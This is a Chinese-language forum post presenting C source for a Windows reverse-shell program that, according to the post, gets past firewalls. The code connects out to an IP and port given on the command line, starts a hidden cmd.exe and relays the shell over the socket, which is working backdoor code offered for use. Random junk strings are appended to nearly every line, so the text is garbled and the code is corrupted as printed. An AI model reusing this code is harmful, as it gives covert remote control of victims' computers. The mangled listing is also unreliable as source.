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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 r4lG 5dV  
A{o{o++  
/* ============================== v: 0i5h&M  
Rebound port in Windows NT ]1[;A$7  
By wind,2006/7 XN0Y#l  
===============================*/ U+i[r&{gb  
#include gPi_+-@  
#include }Tef;8d  
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#pragma comment(lib,"wsock32.lib") #"M Pe4  
(~GFd7  
void OutputShell(); -ur]k]R  
SOCKET sClient; [Bh]\I'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ja&%J:  
NE4fQi?3  
void main(int argc,char **argv) T7Ac4LA  
{ 2yZ6:U~  
WSADATA stWsaData; o|W? a#_\  
int nRet; w g1pt1 `  
SOCKADDR_IN stSaiClient,stSaiServer; HlSuhbi'@  
aS7zG2R4H  
if(argc != 3) GT.^u#r  
{ }a1UOScO0  
printf("Useage:\n\rRebound DestIP DestPort\n"); W<L6,  
return; WI,=?~-   
} Dn3~8  
@i h}x  
WSAStartup(MAKEWORD(2,2),&stWsaData); !T~d5^l!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %ze1ZWO{  
ezvaAhd{  
stSaiClient.sin_family = AF_INET; |Q;o538  
stSaiClient.sin_port = htons(0); GXRjR\Ch  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \d+HYLAJn  
t_rDXhM  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [s2V-'2  
{  c$|dK  
printf("Bind Socket Failed!\n"); }BrE|'.j'  
return; gNd J=r4  
} -!cAr <  
#0D.37R+k  
stSaiServer.sin_family = AF_INET; TH!8G,(w  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kk'w@Sn.(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G~L?q~b  
`RcNqPY#S  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sriz b  
{ JY+[  
printf("Connect Error!"); srLr~^$j[  
return; 72zuI4&  
} A%1=6  
OutputShell(); MGz F+ln^U  
} V2,WP  
C#&6p0U  
void OutputShell() u&xK>7  
{ ([-=NT}Aq  
char szBuff[1024]; ,<^HB+{Wo  
SECURITY_ATTRIBUTES stSecurityAttributes; ha=z<Q  
OSVERSIONINFO stOsversionInfo; => =x0gsgj  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,`zRlkX  
STARTUPINFO stStartupInfo; g4~qc I=a  
char *szShell; I)6Sbt JV^  
PROCESS_INFORMATION stProcessInformation; #L0I+ K,K\  
unsigned long lBytesRead; I uj=d~|>  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `Qf :PX3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R TUNha^<T  
stSecurityAttributes.lpSecurityDescriptor = 0; \q|PHl  
stSecurityAttributes.bInheritHandle = TRUE; 3{:<z 4>{  
rcmAVl:$>  
; ,<J:%s  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &2=KQ\HO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); d %W}w.  
J*!:ar  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); EE6|9K>  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bTGK@~  
stStartupInfo.wShowWindow = SW_HIDE; FraW6T}_  
stStartupInfo.hStdInput = hReadPipe; d$rUxqB.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q'% o;z*  
_-J@$d%  
GetVersionEx(&stOsversionInfo); |u r~s$8y-  
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switch(stOsversionInfo.dwPlatformId) JlQT5k  
{ ~<- ci  
case 1: V?59 .TJ  
szShell = "command.com"; t} i97;  
break; 7&1~O#  
default: m2CWQ[u  
szShell = "cmd.exe"; .Pes{uHg  
break; oz6+rM6MY  
} i:M*L< +  
.00=U;H%`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NJf(,Mr*|  
]}7rWs[|1  
send(sClient,szMsg,77,0); pEj^x[b`^  
while(1) 7b,,%rUd  
{ 6//FZ:q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7E3SvC|M  
if(lBytesRead) qf`xH"$  
{ `u\z!x'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !NLvo_[Y  
send(sClient,szBuff,lBytesRead,0); DsJn#>?Kh  
} zk'K.! `^  
else J.mewD!%z  
{ ioNa~F&  
lBytesRead=recv(sClient,szBuff,1024,0); S?7V "LF  
if(lBytesRead<=0) break; 8J3@VD.  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O+p-1 C$\  
} tNuCxb-  
} j'Y"/<  
u] U)d$|  
return; 9jR[:[  
}
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